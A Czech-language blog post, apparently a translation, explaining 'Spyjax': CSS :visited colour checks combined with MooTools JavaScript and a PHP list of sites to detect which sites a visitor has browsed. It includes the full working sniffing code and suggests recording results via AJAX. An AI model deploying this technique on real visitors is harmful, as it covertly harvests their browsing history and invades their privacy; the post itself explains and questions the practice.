AJAX For Evil:Spyjax

S velkou mocí přichází velká zodpovědnost. S každým pokrokem v technologii čelíme hrozbě, že bude použita pro zlé účely. To je případ AJAXu. AJAX má spoustu skvělých využití, ale jedna forma negativního AJAXu vzala život:Spyjax.

Spyjax, jak ho znám, bere informace z počítače uživatele pro vaše vlastní použití – konkrétně jeho zvyky při prohlížení. Pomocí CSS a JavaScriptu mohu do stránky vložit kotvící odkazy a zjistit, zda jste navštívili adresu URL odkazu. Jak? Vlastně docela snadné.

Základní DemoAdvanced Demo

CSS

a.checkme			{ color:#0ff0; }
a.checkme:visited	{ color:#f00; }
.highlight			{ background:#fffea1; }

Nejdůležitější je zajistit, aby barva odkazu :visited byla jiná než barva standardního odkazu. V tomto případě používám červenou.

JavaScript

<?php 
	$sites = array(
							'davidwalsh.name',
							'css-tricks.com',
							'snook.ca',
							'cnn.com',
							'digg.com',
							'flickr.com',
							'php.net',
							'reddit.com',
							'yahoo.com',
							'google.com',
							'msn.com',
							'gmail.com',
							'ajaxian.com',
							'imdb.com',
							'mootools.net',
							'jquery.com',
							'wordpress.org',
							'dlisted.com',
							'foxnews.com',
							'dzone.com',
							'nettuts.com',
							'youtube.com',
							'diggnation.com',
							'collegehumor.com',
							'facebook.com',
							'myspace.com'
						);
	$site_string = implode('\',\'',$sites);
	
?>
//inject!
$('tell-me').addEvent('click', function() {
	
	var urls = ['<?php echo $site_string; ?>'];
	var known = [];
	urls.each(function(url) {
		var anchor = new Element('a', {
			'href': 'http://' + url,
			'class':'checkme',
			'html':url,
			'styles' : {
				'display': 'none'
			}
		}).inject($('body'));
		if(anchor.getStyle('color') == '#ff0000') {
			known.include(anchor.get('text'));
		}
	});
	
	alert(known.length ? 'Found ' + known.length + ': ' + known.join(', ') + '.  Time to record this using AJAX.'  : 'Lucky you, I didn\'t find any!');
});
});

JavaScript je opravdu rozdělen na části. První částí je vložení odkazů do stránky, druhou částí je vytažení barvy textu odkazu z našich vložených prvků. Myslíte si, že to bude těžší, co? Ne!

Spyjax není tak zlý jako krádež informací o kreditních kartách nebo čísel sociálního pojištění, ale může to být invaze do soukromí. Jedno použití, které jsem pro Spyjax viděl, bylo zjišťování, zda uživatel nebyl na Digg. Pokud ano, ukažte tlačítko „Digg This“. Pokud ne, zkontrolujte Reddit, DZone a tak dále.

Základní DemoAdvanced Demo

Co si o této praxi myslíte?